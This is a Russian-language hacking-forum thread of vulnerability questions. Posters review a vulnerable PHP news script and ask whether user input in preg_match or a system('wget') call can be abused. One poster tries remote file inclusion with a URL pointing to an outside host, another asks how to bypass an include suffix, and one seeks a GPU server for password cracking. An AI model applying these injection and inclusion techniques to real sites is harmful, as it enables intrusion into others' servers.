Вопросы по уязвимостям

[M.W.N.N.]

Вот полный код:
/news/index.php

PHP код:

<?php
    function show_all_news(){

        $news_handle=opendir('news');
        while (false !== ($news_file = readdir($news_handle))) {
            if($news_file=='.'||$news_file=='..') continue;
            if (strstr(strtolower($news_file),".txt")&&!strstr($news_file,"~")){
                $news_out[]=$news_file;
            }
        }
        closedir($news_handle);

        rsort($news_out);
        foreach ($news_out as $news_file) {
            get_news("news/".$news_file);
        }
    }
    
    function get_news($ref){
        //echo $ref."<h3>05/04/10</h3>";

        $str=file($ref);
        echo '<p>'.$str[0].'</p>';
        $ref=preg_replace("/news\//","",$ref);
        echo '<a href="?view='.$ref.'">'.$str[1].'</a>';
        for ($i=2;$i<count($str);$i++){
            echo $str[$i].'';

        }
    }

    function show_page($ref){
        if(strstr($ref,'..')){
            notify("Неверная ссылка");
            return;
        }

        $out_str='';
        $arr=file('./news/'.$ref);
        if(!$arr){
            notify('Нет такой страницы');
            return;
        }
        $out_str.='<p>'.$arr[0].'</p>';
        $out_str.='<a href="?view='.$ref.'">'.$arr[1].'</a>';

        for ($i=2;$i<count($arr);$i++){
            $out_str.=$arr[$i].'';
        }
        echo ($out_str);
        echo ('<a href="?">Вернуться</a>');
    }
    if(isset($_GET['view'])){

        show_page($_GET['view']);
    }else{
        show_all_news();
    }
?>

[opium]

v1d0q, без куда, пассвордпро а вообще, где можно купить недорогой дедик с куда?

[SynQ]

Новый форум xenforo никто не смотрел?

[phpBB]

В ходе анализа PHP скриптов периодически сталкиваюсь с потанциально опасными, на мой взгляд, конструкциями.
Можно ли из них извлечь что-нибудь полезное?

1) Практически нефильтруемая подстановка паттерна в функцию preg_match. Что-то типа

preg_match($var, $content)

$var отправляется пользователем. Из фильтрации — только экрнанирование двойной кавычки, однако слеш \ не экранируется.

2) Подстановка пользовательских данных в вызов функции system:

system("wget -O ./somefilename.ext '".$var."'")

В $var фильтруются символы | и '

[Белый Тигр]

1) Нет. Был бы это preg_replace() - другое дело. А preg_match() ничего опасного в себе не таит.

[M@ZAX@KEP]

Пытаюсь вызвать на локалхосте RFI:

PHP код:

<?php
    $file = $_GET['page'];
    include($file);
?>

Да, самым примитивным образом... любой локальный файл инклудится и содержимое <?php ?> выполняется. А так: http://127.0.0.1/index.php?page=http://smilegg1085.narod.ru/include.txt ...уже хрен.

allow_url_include = on
safe_mod и прочая ересь off, да блин, даже magic quotes off.

Скажите, я ламо или с локалхостом чтонто не так?

[napas_hd]

M@ZAX@KEP, показ ошибок включен, если да - есть ошибки? И еще, скромный вопрос: allow_url_fopen включен?

[phpBB]

M@ZAX@KEP
Кто выступает локалхостом? Если Денвер, то там по умолчанию allow_url_include=0 стоит. Включи отображение ошибок, тебе сразу станет ясно.

Белый Тигр
1) Да, спасибо, насчёт preg_replace знаю.

[M@ZAX@KEP]

napas_hd, error_reporting = E_ALL На странице ошибок не вываливалось.
логирование тоже включено, но в логе только

[12-May-2011 13:48:11] PHP Warning: Directive 'register_globals' is deprecated in PHP 5.3 and greater in Unknown on line 0

allow_url_fopen тоже on, но при чём он тут?

phpBB, локалхостом выступает обычный апач (на дебиане, если это как-то важно) и про то, что у меня allow_url_include = on я сказал сразу.

Я тут подумал, если локалхост из веба недоступен (ясен пень) и даже 80 порт на роутере не проброшен, может ли сам локалхост лезть в веб за содержимым подключаемого файла?

[NetAng]

Есть переменная r=1, 2, 3...n и т.д., которая прибавляет заданное число к строке menu и еще добавляет расширение .php, потом инклудит данный файл.
include(menu1.php);
при r=-bla-bla-bla

Warning: include(menu-bla-bla-bla.php): failed to open stream:

можно как нибудь обойти и инклудить другие файлы?